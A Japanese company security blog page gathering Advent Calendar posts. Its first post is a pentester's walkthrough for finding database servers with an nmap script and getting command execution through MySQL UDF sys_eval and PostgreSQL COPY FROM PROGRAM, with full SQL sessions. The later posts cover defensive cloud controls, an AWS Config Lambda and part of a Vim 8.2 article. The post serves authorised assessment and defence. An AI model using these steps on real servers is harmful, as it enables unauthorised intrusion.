Akatsuki Hackers Lab | 株式会社アカツキ(Akatsuki Inc.)

Akatsuki Hackers Labは株式会社アカツキが運営しています。

ペンテスターはDBサーバーに夢を見るか?

この記事は、Akatsuki Advent Calendar 2019の21日目の記事です。

こんにちは、セキュリティエンジニアの小竹 泰一(aka tkmru)です。 アカツキでは、アプリケーションや社内ネットワークに対する脆弱性診断やツール開発/検証を担当しています。 この記事では内部ネットワーク診断でDBサーバーを発見したときに確認する項目を紹介したいと思います。

内部ネットワーク診断とは

社内ネットワークにつないだ診断員のPCからネットワーク上の端末へ攻撃を行い、ミドルウェアの設定不備による脆弱性や、ソフトウェアが古いバージョンのまま放置されていることによる脆弱性などを発見するのが内部ネットワーク診断です。 脆弱性を見つけるだけではなく、見つけた脆弱性を使って更にどれだけ会社にダメージを与えられるかまでを検証し、ペネトレーションテスト相当のことにまで踏み込んで診断を実施しています。 脆弱性を持つ端末が社内ネットワークに放置されていると、社内ネットワークに攻撃者が何らかの形(社員のPCがマルウェア感染 etc)で侵入した場合、その端末を攻撃の起点として、機密情報が奪取される可能性があります。 このような攻撃シナリオに基づいて、内部ネットワークに接続されている脆弱性を持つ端末を発見し、 攻撃者が見つかった脆弱性を利用しどこまで社内ネットワークを侵害できるか検証するのが診断の目的です。

なぜDBサーバー?

社内ネットワークに建てられているサーバー群は、本番環境で運用されているものに比べ、脆弱性が存在している可能性が高く、攻撃者やペンテスターのターゲットになります。その中の1つがDBサーバーです。 開発環境のDBサーバーにログインできれば、世の中に公表されてないサービスの情報などの機微な情報を取得できる可能性があり、条件がそろえばシェルを奪うこともできます。

DBサーバーを素早く発見するために、私は以下のようなシェルスクリプトを使っています。Nmapを使ってMySQLがよく使用する3306番のポート、PostgresSQLがよく使用する5432番のポート、Redisがよく使用する6379番のポートをスキャンし、xml形式で結果を保存するスクリプトです。ホストのIPアドレスが頻繁に変わる環境では、ホスト毎にウェルノウンポートすべてをスキャンしている間にスキャン済みのホストのIPアドレスが変化してしまうため、このような狙いをつけているサービスが動いているホストを素早く見つけるスクリプトがあると特に便利です。

#!/bin/sh
set -eu

hosts=(
xxx.xxx.xxx/24
xxx.xxx.xxx/23
)
exclude_hosts='xxx.xxx.xxx,xxx.xxx.xxx'
today=`date +%Y%m%d`

if [ ! -d ./results/${today} ]; then
  mkdir -p ./results/${today}
fi

for h in ${hosts[@]}
do
  escaped=`echo $h | tr "/" "_"`
  # MySQL
  now=`date +%Y%m%d_%H%M%S`
  nmap --exclude ${exclude_hosts} -p3306 -v -oX results/${today}/mysql_${escaped}_${now}.xml ${h}
  # PostgresSQL
  now=`date +%Y%m%d_%H%M%S`
  nmap --exclude ${exclude_hosts} -p5432 -v -oX results/${today}/postgre_${escaped}_${now}.xml ${h}
  # Redis
  now=`date +%Y%m%d_%H%M%S`
  nmap --exclude ${exclude_hosts} -p6379 -v -oX results/${today}/redis_${escaped}_${now}.xml ${h}
done

このシェルスクリプトでNmapを駆使しDBサーバーを発見した後は、DBサーバーに推測容易なパスワードがかけられていないか、念の為にパスワード辞書を使ったブルートフォース攻撃を行い確認するのですが、パスワードに空文字が設定されているDBサーバーが多々あり、ブルートフォース攻撃をするまでもなくログインできるケースも多いです。

DBサーバーにログインできただけで脆弱性を発見したことにはなるのですが、やはりセキュリティエンジニアとしては、シェルを取りたいところです。ここからはログインできたDBサーバーを通してRCE(Remote Code Execution)に持ち込む方法の中で日本語の資料がない2つの方法を紹介していきたいと思います。

MySQL UDF Exploitation

MySQL UDF Exploitationは古いバージョンのMySQLサーバーに対して有効な攻撃手法です。UDF(User Defined Function⁠)はユーザーが自由にMySQLに関数を追加するためのMySQLの機能で、plugindirに指定されているディレクトリに配置した共有ライブラリ内の関数を、MySQLの関数として使用できるよう設定できます。plugindirに指定されているディレクトリは、select @@plugin_dirで確認できます。

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select @@plugin_dir;
+------------------------+
| @@plugin_dir           |
+------------------------+
| /usr/lib/mysql/plugin/ |
+------------------------+
1 row in set (0.00 sec)

load_file関数を使って、plugindirへローカルにある共有ライブラリをアップロードできます。共有ライブラリをアップロードした後は、CREATE FUNCTION構文を使うことで、指定した共有ライブラリの関数をMySQLの関数として登録できます。ここでは、Metasploitに組み込まれているlib_mysqludf_sys_64.soのsys_eval関数をMySQLの関数に登録しています。sys_eval関数は引数に与えられたコマンドを実行してくれます。

mysql> select load_file('./lib_mysqludf_sys_64.so') into dumpfile "/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so";
Query OK, 1 row affected (0.00 sec)

mysql> create function sys_eval returns string soname 'lib_mysqludf_sys_64.so';
Query OK, 0 rows affected (0.00 sec)

lib_mysqludf_sys_64.soについてですが、ソースコードはMetasploit内には見当たりませんでした。 mysqludf/lib_mysqludf_sysのソースコードを使って生成したバイナリがMetasploit内で使われているようです。lib_mysqludf_sysはsqlmapでも使われていました

github.com

mysql.funcテーブル内を検索することで指定した関数が登録されているのか確認することもできます。 今回の場合だとsys_eval関数が登録されていることが確認できました。

mysql> select * from mysql.func where name = 'sys_eval';
+----------+-----+------------------------+----------+
| name     | ret | dl                     | type     |
+----------+-----+------------------------+----------+
| sys_eval |   0 | lib_mysqludf_sys_64.so | function |
+----------+-----+------------------------+----------+
1 row in set (0.00 sec)

引数に実行したいコマンドを指定してsys_eval関数を実行すると、実行したコマンドの結果が以下のように返ってきます。

mysql> select sys_eval('id');
+-------------------------------------------------+
| sys_eval('id')                                  |
+-------------------------------------------------+
| uid=101(mysql) gid=101(mysql) groups=101(mysql) |
+-------------------------------------------------+
1 row in set (0.01 sec)

secure_file_priv

secure_file_privは、データをファイルとして書き込んだり読み込んだりする際に、使用可能なディレクトリを制限する設定項目です。secure_file_privで指定されたディレクトリにしかファイルを書き込めなくなるため、これが適切に設定されているとplugin_dirにファイルを書き出すことができず、UDF Exploitationを行うことはできません。 5.7.5以前ではデフォルト値が空でしたが、5.7.6以降ではプラットフォームに応じたパスがデフォルトで設定されています。そのため、今日ではUDF Exploitationが有効なホストは減っています。

dev.mysql.com

Ubuntu上にインストールしたMySQLでは以下のようにsecure_file_privplugin_dirがそれぞれ設定されていました。plugin_dirに指定されているパスはsecure_file_privに含まれておらず、plugin_dirにファイルを書き出すことができないことが分かります。

mysql> show variables like "secure_file_priv"; 
+------------------+-----------------------+
| Variable_name    | Value                 |
+------------------+-----------------------+
| secure_file_priv | /var/lib/mysql-files/ |
+------------------+-----------------------+
1 row in set (0.00 sec)

mysql> show variables like 'plugin_dir';
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)

また、secure_file_privに指定するパスをコンソールから書き換えることもできません。

mysql> set @@GLOBAL.secure_file_priv = "";
ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable

PostgreSQLのCOPY TO/FROM PROGRAM

PostgreSQLにはデフォルトで有効になっているCOPY TO/FROM PROGRAMという機能があります。 COPY FROMはファイルからテーブルへとデータをコピーする構文で、これにPROGRAMを指定すると、指定されたコマンドを実行し、その結果をテーブルへと書き込んでくれます。COPY TOはテーブルからファイルへとデータをコピーする構文で、これにPROGRAMを指定すると、テーブルから抜き出したデータを、指定されたコマンドへと渡してくれます。 この機能を使ってRCEに持ち込むことができます。以下にCOPY FROM PROGRAMを使った例を示します。

まず最初に、cmd_execというテーブルを作成し、COPY FROM PROGRAMの指定したコマンドの実行結果のコピー先にしています。次に、COPY FROM PROGRAMを実行しidコマンドを実行しています。そして最後にSELECT * FROM構文でcmd_execテーブルに格納されたコマンド実行結果を表示しています。

$ psql -h xx.xx.xx.xx -p 5432 -U postgres
psql (11.5, server 10.7 (Debian 10.7-1.pgdg90+1))
Type ""help"" for help.

postgres=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
postgres=# COPY cmd_exec FROM PROGRAM 'id';
COPY 1
postgres=# SELECT * FROM cmd_exec;
                               cmd_output                               
------------------------------------------------------------------------
 uid=999(postgres) gid=999(postgres) groups=999(postgres),103(ssl-cert)
(1 row)

この機能によるOSコマンドインジェクションは、CVE-2019-9193としてCVEに採番されていますが、PostgreSQLのセキュリティチームはこれを脆弱性と認めておらず、単なるいち機能だと主張しており、このテクニックは最新版のPostgreSQLでも有効です。

PostgreSQL: CVE-2019-9193: Not a Security Vulnerabilityには次のように書かれています。

By design, there exists no security boundary between a database superuser and the operating system user the server runs under. As such, by design the PostgreSQL server is not allowed to run as an operating system superuser (e.g. "root"). The features for COPY .. PROGRAM added in PostgreSQL 9.3 did not change any of the above, but added a new command within the same security boundaries that already existed.

We encourage all users of PostgreSQL to follow the best practice that is to never grant superuser access to remote or otherwise untrusted users. This is a standard security operating procedure that is followed in system administration and extends to database administration as well.

大雑把に訳すと「PostgreSQLサーバーはrootユーザーのようなOSのスーパーユーザーからは動かせないようになっており、COPY TO/FROM PROGRAMもPostgreSQLを動かすユーザーと同一権限でしか動作しない。すべてのユーザーはスーパーユーザーや信頼できないユーザーからのリモート接続を許可しないようにするべきだ。」というところでしょうか。たしかに一理ありますね🦀

まとめ

DBサーバーに対する攻撃手法を2つ紹介しました。この記事上では全手動で攻撃を行っていますが、実際に診断を行う際は全手動で行う訳ではなく、GVM(Greenbone Vulnerability Management)のようなスキャナーも併用します。 GVMは手動では発見しにくい、デフォルトポート以外で動作しているログイン可能なDBサーバーを発見してくれる、便利な一面もありますが、COPY TO/FROM PROGRAMが有効かどうかのようなログインした上で試さないと分からないような項目の検証まではしてくれません。 セキュリティエンジニアはスキャナーに頼らず手でも脆弱性を発見できるようにしておくことが大切ですし、スキャナーを使った場合にも結果がfalse postiveではないか、より深刻な脆弱性へと発展させられないか確認する必要があります。

ペンテスター(もちろん攻撃者も!)は紹介したようにDBサーバーに夢を見ています。DBサーバー以外に、Jenkinsサーバーや、SMBサーバーにも夢を見ています。これらを管理する際は社内ネットワーク上であっても気をつけましょう。

参考資料

おまけ

ログインできたRedisからコマンドを実行する方法に関しては以下の記事がくわしいです。

knqyf263.hatenablog.com

クラウドにインフラがある会社のセキュリティへの取り組み

これは Akatsuki Advent Calendar 2019 20日目のネタです。

CTO兼セキュリティの責任者を担当している田中です。株式会社アカツキでは、ネットワークとエンドポイントデバイス、一部のビルドサーバ以外のリソースを全てクラウドに置いています。

「出来る限りクラウドを利用する」という考え方は事業の柔軟性を重視し、インフラ管理コストを下げたい企業では一般的になっているかと思います。

クラウドをインフラにすることであまりセキュリティを重視していない会社も多いと思います(昔のアカツキもそうでした)が、「個人情報を扱うようになった」「事業が成功した」といった事業状況の変化によって求められるセキュリティレベルも変わってきます。

セキュリティを意識せずに開発していた時代から現在まで、様々なセキュリティ対策を検討し、実施してきました。 セキュリティは組織・プロセス・規範/法律・技術と様々な観点がありますが、この記事では技術面の対策に焦点を当てて、どのような対策をしてきたか、その一部を紹介したいと思います。

ID管理とSSO

大雑把に言えば、セキュリティを管理するということは、何を信用するかを管理することです。 クラウドを利用しているということは、誰かが認証/認可を管理しているはずですが、中央集権的なID基盤が無いと退職/異動の権限設定の漏れが発生したり、インシデント発生時に迅速な対応ができない等の問題が発生します。

ID管理には Single source of truth (SSOT) という考え方がとても重要です。 アカツキではADをID管理のSSOTとしています。システム構成は以下のイメージです。

システム 役割
AD ID管理のSSOT
Azure AD Office365ライセンスの認証
OneLogin SSO( Single Sign On )の管理

Active Directory (AD)

ID管理の中心となるデータソースです。個人を一意に識別するための情報を管理しています。 以下の情報をOUとしてメンテナンスしており、プロビジョニングの属性として利用可能にしています。

  • 所属会社
  • 雇用形態
  • 所属組織
  • 職位

詳しい方は「全部クラウドならJumpCloudのようなCloud Directoryを使うほうが良いのでは?」「OktaやOneLoginのようなIdentity Provider (IdP)があればADは不要では?」と思うかもしれません。 当時は、以下の理由から、この構成になりました。

  1. プリンターの認証など、ADDS認証しか対応していない機器があるため、ADが必要
  2. Microsoft ライセンスの管理にAzureADが必要
  3. AzureADは管理機能が不足しており、IdPとしてはOneLoginのような便利なものを使いたい

ADは古くからあるので、周辺ツールも充実しています。検討した結果、ADManager Plusというツールが使いやすかったので、これをADの運用に利用しています。

AzureAD

Azure AD Connect を利用して、ADで管理しているIDをAzure ADへ同期しています。 Microsoft Office365 ライセンスの認証にAzure ADが必須なので、Officeライセンスの認証のために、Azure ADと同期しています。

2016年にはシングルフォレストドメインしか対応していなかったAzure ADも、最近はID基盤として十分な機能と管理機能を持っています。 ADDS連携をAzure ADDS連携に置き換え、Azure ADをID管理のSSOTとする運用でも、問題ないような気がしています。

OneLogin

AWS、Googleアカウント、Slackやラクスルのようなサービスまで、様々なクラウドサービスへのSSOに利用しています。 また、ネットワーク機器の管理画面やツール等の自社アプリケーション、Jenkinsへのログイン等、社内メンバーのIDを元に認証したい全てのツールを、OneLoginで認証するように設定しています。

OneLoginは機能表で比較すると、Oktaのように高くないし、機能が多くて魅力的です。採用当時は機能の多さと、担当者の経験により、OneLoginを選定しました。

運用をしていくうちに管理画面が微妙に使いづらい(保存時の余計なダイアログにより保存できなかったという事例が多発している、ロールのフィルターができないため操作対象を間違える等)、WebAPIのAPIトークンがほぼ全て強い権限を求める等の、細かい辛さも感じています。

今だったらどんな構成にするか?

Gartner Magic QuadrantThe Forrester Waveを見ると、IdPとしてはOktaが最高評価を受けています。 ざっくりとOneLogin, Ping Identity, Oktaを比較検証しましたが、管理機能の使いやすさやカスタムアプリのフィールドカスタマイズ、対応アプリケーションの多さなど、Oktaが一つ頭を抜けている感覚もあります。

※ The Forrester WaveでLeaderに選出されているIdaptiveは試しておらず、少し気になっています。

ただ、Microsoft 365 E3 ライセンスを一つ持っているとPREMIUM P1, Microsoft 365 E5 ライセンスを一つ持っているとPREMIUM P2ライセンスが有効になるAzure ADはコスパという面では最高です。

今からID管理基盤を構築するならどうする?と問われたら、以下のどちらかの構成を検討します。

  • 管理面でのストレスを最小限にしたい場合はOktaをID管理基盤としてAzure ADと連携する
  • コストを最小限にしたい場合はAzure ADだけをID管理基盤として頑張る

CASB: Netskope

クラウドを業務の中核として利用していると、日々利用されるクラウドサービスが変わってきています。 アクセス制御してコントロールすることはやめたほうが良いでしょう。業務改善のスピードが遅くなりますし、自由さの阻害はShadow ITが生まれる原因にもなります。

とはいえ、危険なクラウドの利用を把握しない・追跡可能性が無い、というのはセキュリティ管理者の怠慢です。 アカツキではNetskopeを利用して、リスクが高いクラウドの利用を監視したり、DLP監視としてConfidentialな資料を社外からダウンロードされたときの監視をしています。

エンドポイントセキュリティ

EPP/EDR: CrowdStrike Falcon

この分野には様々な製品がありますが、アカツキではCrowdStrike Falconを利用しています。

EDRの機能を含むこと、Linux, Mac, Windows 問わず監視ができること、検知率が高いこと、ネットワーク遮断等の対応ができること、インシデント発生時に「どこで、どんなプロセスが動いていたか」を遡って検索できること、等が選定の理由です。

端末管理: Jamf / Intune

端末を配布した後に、エンドポイントセキュリティ製品が無効化されていたり、セキュリティ設定が変更されることを想定しておく必要があります。 MacはJamf、WindowsはIntuneを利用して、FalconやNetskopeが有効化されていることを確認しています。

監視

SIEM : SumoLogic

ADやネットワーク機器のログ、EDRのアラートや各種SaaSのログを、全て集約しています。 一箇所にログが集約されていることで、「OneLoginログイン時のリスクスコアが高いユーザが不審な行動をしていないか?」の検索や「全てのオフィスからのEmotetへの通信をアラートする」といった設定が、数分で可能になります。

セキュリティインシデント発生時は初動の調査速度がとても重要なので、SoC/CSIRTの運用をする上で、SIEMへのログ連携は必須だと考えています。

ネットワーク

ファイアーウォール

オフィスネットワークのファイアーウォールにはFortiGateを利用しています。 アンチウィルス機能、IPSによる侵入防御、Webコンテンツフィルタリングによるセキュリティ上問題のあるサイトのブロックを有効化しています。

また、ファイアーウォールの設定変更があった際にはSumoLogicからSlackにアラートを飛ばすように設定しており、意図せぬセキュリティホールが発生しないように監視しています。

ネットワーク監視: Verizon NDR

支給端末に十分なセキュリティ対策を施しているからといって、ネットワーク監視をしなくて良いという理由にはなりません。 LANケーブルにより不用意に接続されたデバイスの存在や、ネットワーク機器の脆弱性への攻撃を考慮する必要もあります。

アカツキでは、ネットワークレイヤの監視として、Verizon NDRを利用しています。 オフィスネットワークだけでなく、AWS/GCPのIaaS環境も監視対象とすることで、運用環境を攻撃された際に検知できるようにしています。

トリアージまでは パロンゴ社 にお願いしています。 アラート情報を流しているSlack channelをパロンゴ社との共有チャンネルとしています。 高い技術力を持ったパロンゴ社のメンバーにより、24時間365日 迅速な対応をしていただいており、とても助かっています。

f:id:csouls:20191220220654p:plain

秘匿情報を扱うクラウドサービス

全ての業務をクラウドで管理しているため、利用されているクラウドアプリケーションは200程度あります。 重要な情報を扱うサービス、攻撃を受けたときの影響が大きいサービスを把握し、常にセキュリティ対策を改善していくことが重要だと考えています。

利用している会社が多いであろうサービスをピックアップして、アカツキでの対策の工夫を紹介します。

AWS

AWSのセキュリティは考えることがたくさんありますが、クラスメソッドさんの AWSでのセキュリティ対策全部盛り 初級から中級まで という資料がまとまっていて最高です。

アカツキでは上記リンクにあるような基本的な対策に加えて、

  • AWSアカウントを払い出したタイミングで十分なセキュリティ対策(AWS Config, CloudTrail, SIEMへの連携など)が施されている状態にする
  • 運用が行き届かない古いAWSアカウントは狙われがちなので、不要になったらなるべく早くアカウントごと削除する

としておき、脆弱性を発生させるような操作が行われた場合に、すぐに気付けるようにしています。

もし、AWSのセキュリティ脆弱性に触れてみたい人は、以下の"crackme"サイトに挑戦してみて下さい。脆弱な環境はいかに簡単に生まれるかというのを、実感出来ると思います。

http://flaws.cloud/

http://flaws2.cloud/

メール: Gmail

Emailはコミュニケーションの入り口ですので、攻撃者はよくEmailを送って侵入を図ります。

Gmailにはセキュリティサンドボックスにより不正なソフトウェアを発見する機能がありますので、有効化しています。

f:id:csouls:20191220225739p:plain

ストレージ: Google Drive

一般公開ファイルとしてリンク共有することはできない設定にしています。 しかし、「ドメイン内へのリンク共有」は気軽にできてしまうのがGoogle Driveの怖いところです。 特定の文字列をタイトル名に含むファイルや、特定の共有ドライブに対して、共有設定の監視をしています。

SIEMで監視しても良いのですが、監査ログのペイロードが大きすぎてパースできない場合もあるので、G Suiteの監査ログ画面から、アラートを作成しています。

f:id:csouls:20191220212948p:plain

アラートはメールの転送ルールでSlackに通知するよう、設定しています。

f:id:csouls:20191220213208p:plain

GitHub

GitHubは強力な開発支援ツールですが、大きなセキュリティホールでもあります。 AWS, GCP, GitHub, Slack 等のAPIトークンをGitHub Publicリポジトリに投稿してしまうと、すぐに他人に知られてしまいます。 例えば、https://shhgit.darkport.co.uk/ というサイトでは、GitHub に公開されたトークンをリアルタイムに発見することができます。

PublicリポジトリへのPushにだけ気をつければ良いかというとそうでもなく、GitHub Personal Access Tokenを不用意に公開してしまったり、PrivateリポジトリへのCollabolatorの登録間違いといったことでも、漏洩可能性があります。また、GitHubへのアクセストークンはCI/CD環境に保存されていることも多く、Jenkins環境をターゲットとして攻撃をするアクターも存在します。

アカツキでは、Privateリポジトリを捜査するツールを作成して、commitされているトークンを探し出しています。

Slack

Slackはインテグレーションが豊富なため、攻撃者に狙われやすいツールでもあります。 特にSlackのメッセージ内容を読み取ることが出来るAPIトークンは慎重になるべきです。 Slackアプリは承認を必須としており、以下のポリシーを元に承認可否を判断しています。

APIトークンやアプリの種類については、https://slack.com/intl/ja-jp/help/articles/215770388 を参考にして下さい。

aktsk や会社単位のワークスペースに対するアプリは、以下の様に判断します。その他ワークスペースは、ワークスペース管理者の判断におまかせしています。

## 外部アプリケーション
### メッセージ内容を取得できる外部アプリ

以下スコープを要求する外部アプリケーションは原則拒否します。

メッセージが読めるスコープの一覧:
bot
channels:history
conversations:history
groups:history
im:history
mpim:history
search:read
stars:read

メッセージ内容を取得する外部アプリは、信頼できる発行元かつ、連携しなければならない理由がある場合に限り承認しますので、申請理由を詳しくご記載下さい。

### チャンネル名やDMのリストを取得することができる外部アプリ

以下スコープを要求するアプリケーションは、利用用途に応じて承認可否を検討します。申請理由を詳しくご記載下さい。

チャンネルを取得することができるスコープの一覧:
channels:read
groups:read
mpim:read
im:read

### Slack社によるレビューを通っていない外部アプリ

Slack社によるレビューが実施されていないアプリケーションについては、原則承認しません。どうしても必要な場合は、申請理由をご記載下さい。

## 内部(自作)アプリケーション

原則として、IP制限を必須とします。
その他は外部アプリケーションの判断基準に従います。

## Slackアプリ以外のIntegration

### レガシーテストトークン

どんな理由があっても、利用禁止です。ワークスペース設定で不許可としています。

### Outgoing Webhook

取得元のチャンネル制限を必須とします。

### Bot

カスタムインテグレーションボットのユーザートークン は非推奨です。
自作のボットは、スコープを最小限にした内部アプリケーションへ置き換えて下さい。

### Slash command, Incoming Webhook

特に制限しません。申請があったら承認します。

また、Slack Enterprise Gridの監査ログ、アクセスログをSIEMに連携しており、インシデント発生時に追跡できるようにしています。

トークンの管理

チェック

標的型攻撃におけるCyber Kill Chainを元に技術的対策を分類してみました。 クラウド中心にシステムを運用している会社にとって、以下のチェック項目がご参考になれば幸いです。

偵察

侵入に使えそうな情報を収集する行為です。企業サイト、SNS、公開サーバなどが調査対象になります。

[対策]

監視していない、運用されていない場所があると、侵入される危険性が高くなります。不要なサーバやクラウドサービスは削除しましょう。

  • 中央集権的ID管理ができているか?退職や異動について、即日対応できているか?
  • 開発用のサーバ等、不必要にポート公開していないか?
  • 古いサーバ・運用されていないサーバはないか?
  • CASBによって誰がどのようなクラウドサービスを利用しているか把握し、リスクを管理できているか?

武器化

エクスプロイトコードやマルウェアを作成し、メールやSNSを使って送付します。 URLをクリックすると、BeEF が実行され、内部ネットワークの脆弱性を把握するといった攻撃手法もあります。 最近は Emotetの被害が主にWordファイルによって拡大していたりします。

[対策]

メールはサイバー攻撃の入り口としてまだ多く利用されていますので、対策しましょう。攻撃手法に関する情報を得ておくことも重要です。

  • JPCERTなど信頼できるコミュニティから、注意喚起情報を得ているか?
  • メールのサンドボックス機能等により、マルウェアがダウンロードされる前に隔離する対策ができているか?
  • C&CサーバやフィッシングサイトのWebフィルタリングは設定されているか?

デリバリー

メールの添付ファイルや、レジュメにカモフラージュしたURL等によって、マルウェアに感染させます。 ファイアーウォールやVPNに脆弱性があれば、そこから侵入されこの段階まで進まれます。

[対策]

エンドポイントセキュリティが重要です。

  • エンドポイントデバイスにEDR製品(最低でもEPP製品)がインストールされているか?
  • エンドポイントデバイスのEDR稼働状況を、Jamf/Intune等のデバイス管理ソフトウェアでチェックできているか?
  • VPNは無効化されているか?VPNを利用している場合は、適切に運用され、監視できているか?

エクスプロイト/侵入

侵入に成功したPCから、内部ネットワークの構造を把握し、機密情報が保存されている場所を探し、アクセス権限を盗み取ります。

[対策]

内部ネットワークの攻撃を防止/検知するための対策や、脆弱性調査を行いましょう。

  • IPS/IDSが運用されているか?
  • ファイアーウォールは適切に設定されているか?
  • ネットワークの監視(例: C&Cサーバやランサムウェアが置かれていたホストへのアクセス)ができているか?
  • NDR等のネットワーク監視の製品により、エンドポイントデバイスからの不審な通信を監視できているか?
  • 定期的な内部ネットワーク診断により、社内ネットワークからの脆弱性を発見できているか?
  • 利用しているネットワーク機器やソフトウェアのバージョンを把握しており、迅速にセキュリティパッチを適用できているか?

潜伏/目的の実行

情報の盗み出し、システムの改ざん、ログの消去を行います。

[対策]

ここまでKill chainが進んでいたら予防は難しいので、素早く攻撃を発見できることが重要です。 また、ログの消去を難しくするように、SIEMに連携しておくことも重要です。

  • 重要な情報を扱うツールのアクセスログは全てSIEMに連携されているか?
  • SIEMのアクセスログ監視は、継続的にアップデートされているか?
  • 各ツールの特権ユーザのアクティビティやS3の公開設定の変更など、特に重要な操作をアラートできているか?
  • 開発環境や外部からアクセス可能な本番環境にも、EDR及びネットワーク監視が適用されているか?
  • AWSやGCPの監査ログを監視できているか?(IAMユーザの作成や国外からのコンソールアクセスなど、不審なアクティビティを監視できているか?)

IAMユーザにIP制限をかけていますか?AWS Configのカスタムルールを作成し、システム監査を自動化した話

この記事は Akatsuki Advent Calendar の 16 日目の記事です。

アカツキでエンジニアをしているe__komaと申します。 今年はAWS Summit TokyoAmazon Game Developers Conference などを始め、色んなところでAWS運用を紹介させていただいております。

今回もそんなAWS運用話の1つです。 AWSアカウントが増えてくると、統制をとるのが大変ですよね。AWS Configを使えばポリシー違反のリソースを検知し、システム監査を自動化することができます。

この記事では、IAMユーザのIP制限を題材に、AWS Configのカスタムルールを作成する事例をご紹介いたします。

経緯

弊社ではEC2 IAMロールを利用したり、一時的な認証情報を利用することで、極力IAMユーザを作らない運用を目指しています。 一方で、各種サードパーティツールの連携ではIAMユーザが必要になることもあります。 IAMユーザを作成した場合は必ずIP制限をかけることにしていますが、大量のAWSアカウントを運用していると、この統制を保つことが大変です。

一部のセキュリティポリシーに対してはAWS Configを使って自動監視していますが、AWSに最初から用意されているマネージドルールの中にはIAMユーザのIP制限をチェックするものはありません。 そのため、カスタムルールを作ることにしました。

AWS Configとは?

AWSの設定がポリシーに準拠しているか自動で評価することができる、コンプライアンス監査のサービスです。 例えば、IP制限がされていないセキュリティグループを検知したり、Publicになっているリソースを検知する…など、 これらの監視を、最初から用意されているマネージドルールを有効にするだけで実施することができます。 マネージドルールのリストはこちら。

マルチアカウントマルチリージョンのデータを集約したり、リソースの作成、変更、削除を検知したり、自動修復したりと、豊富な使い方が用意されています。

カスタムルールの作成

今回、やりたいことはIAMユーザにIP制限が設定されているかを監視することです。 マネージドルールには用意されていませんが、AWS Configのルールは自分でカスタムルールを作ることができます。

監視したい内容をLambdaで実装して、AWS Configに評価結果を送信することで、ルールに準拠なのか非準拠なのかを判断することができます。 Lambdaで実装するのであれば、CloudWatch Eventsで定期チェックするのとあまり変わらないように思えるかもしれませんが、AWS Configのカスタムルールとして実装すると

  • マルチアカウントマルチリージョンの非準拠ルールを、1つのアグリゲータアカウントに集約し一元管理できる
  • つまり全アカウントを監視しつつ、その対応状況の管理がプロジェクト依存にならない
  • 新規AWSアカウント作成時のフローに、ルールを組み込むことができる

といったようなメリットがあります。

実装

簡易ですが、以下のような感じになります。 IAMポリシーのStatement内にIPアドレスを指定するキーがあるか(ただしPublic IPはNG)をチェックしています。 ここでは、Lambdaの実装のみで、Lambdaに必要なRole、デプロイ方法には言及しません。

import boto3
import logging
from datetime import datetime

session = boto3.Session()
iam_client = session.client('iam')
config_client = session.client('config')

logger = logging.getLogger()
logger.setLevel(logging.INFO)


def lambda_handler(event, _context):
    logger.info(f'event: {str(event)}')
    result_token = event['resultToken']

    iam_users = iam_client.list_users()
    iam_user_names = [i['UserName'] for i in iam_users['Users']]

    if not iam_user_names:
        logger.info('IAM User does not exist')
        return

    for user_name in iam_user_names:
        user_id = next(i['UserId'] for i in iam_users['Users'] if i['UserName'] == user_name)
        evaluate_compliance(user_name, user_id, result_token)


def evaluate_compliance(user_name, user_id, result_token):
    user_policies = iam_client.list_user_policies(UserName=user_name)

    compliance_type = 'NON_COMPLIANT'
    for policy_name in user_policies['PolicyNames']:
        user_policy = iam_client.get_user_policy(
            UserName=user_name,
            PolicyName=policy_name
        )
        if is_ip_restricted(user_policy):
            compliance_type = 'COMPLIANT'

    logger.info(f'{user_name} is {compliance_type}')
    config_client.put_evaluations(
        Evaluations=[
            {
                'ComplianceResourceType': 'AWS::IAM::User',
                'ComplianceResourceId': user_id,
                'ComplianceType': compliance_type,
                'OrderingTimestamp': datetime.today()
            }
        ],
        ResultToken=result_token
    )


def is_ip_restricted(user_policy):
    statements = user_policy['PolicyDocument']['Statement']

    ip_restriceted = False
    for statement in statements:
        try:
            if statement['Effect'] == 'Allow':
                allow_ips = statement['Condition']['IpAddress']['aws:SourceIp']
            else:
                allow_ips = statement['Condition']['NotIpAddress']['aws:SourceIp']
        except KeyError:
            allow_ips = []

        if not allow_ips:
            pass
        elif is_include_publice_ip(allow_ips):
            ip_restriceted = False
            break
        else:
            ip_restriceted = True

    return ip_restriceted


def is_include_publice_ip(ips):
    is_public = False
    for ip in ips:
        if '0.0.0.0' in ip or '::' in ip:
            is_public = True

    return is_public

※ 今回はサンプルのためインラインポリシーのみのチェックです。別でアタッチされたポリシー、グループポリシーなどのチェックも必要です。

Configルール部分

Lambdaのデプロイができたら、AWS Configのカスタムルールを追加します。 AWS Config側で、カスタムルールの追加を選択して、LambdaのARNを指定すればOKです。

結果

以下のように、ルールに準拠/非準拠なIAMユーザを検知できるようになります。 クロスアカウントでこのLambdaを実行できるようにしておけば、他のマネージドルールと同様に、マルチアカウントマルチリージョン(IAMに限ってはグローバルリソースのため1リージョンで十分ですが)を監視することができます。

f:id:e__koma:20191216151514j:plain
準拠ルール

f:id:e__koma:20191216151520j:plain
非準拠ルール

まとめ

AWS Configのカスタムルールを実装し、IAMユーザにIP制限がされているかを自動検知する事例の紹介でした。 マネージドルールは随時増えていますが、カスタムルールを作れば、より柔軟な監視が実現できます。

今回は触れませんでしたが、非準拠ルールを検知したタイミングで、自動Slack通知することなどももちろん可能です。 AWS Configを使えば、システム監査の多くを自動化することができるため、使わない手はありません。

この記事がみなさまの運用のお役に立てれば幸いです。

Vim 8.2 リリース!同時に公開されたデモのプラグインを解説してみる

この記事は Akatsuki Advent Calendar の 15 日目の記事です。

thinca です。普段は Vim を使って開発をしています。

そんな Vim ですが、つい 2 日ほど前、待望の Vim 8.2 がリリースされました!やったね🎉

本記事では Vim 8.2 で何ができるようになったのかを、同時に公開されたデモプラグインを通して見ていこうと思います。

Vim のリリースについて

その前に、Vim の開発体制について少し説明します。 Vim の開発は GitHub の vim/vim リポジトリで開発されています。ブランチは master のみで、最新版は同時に開発版でもあります。

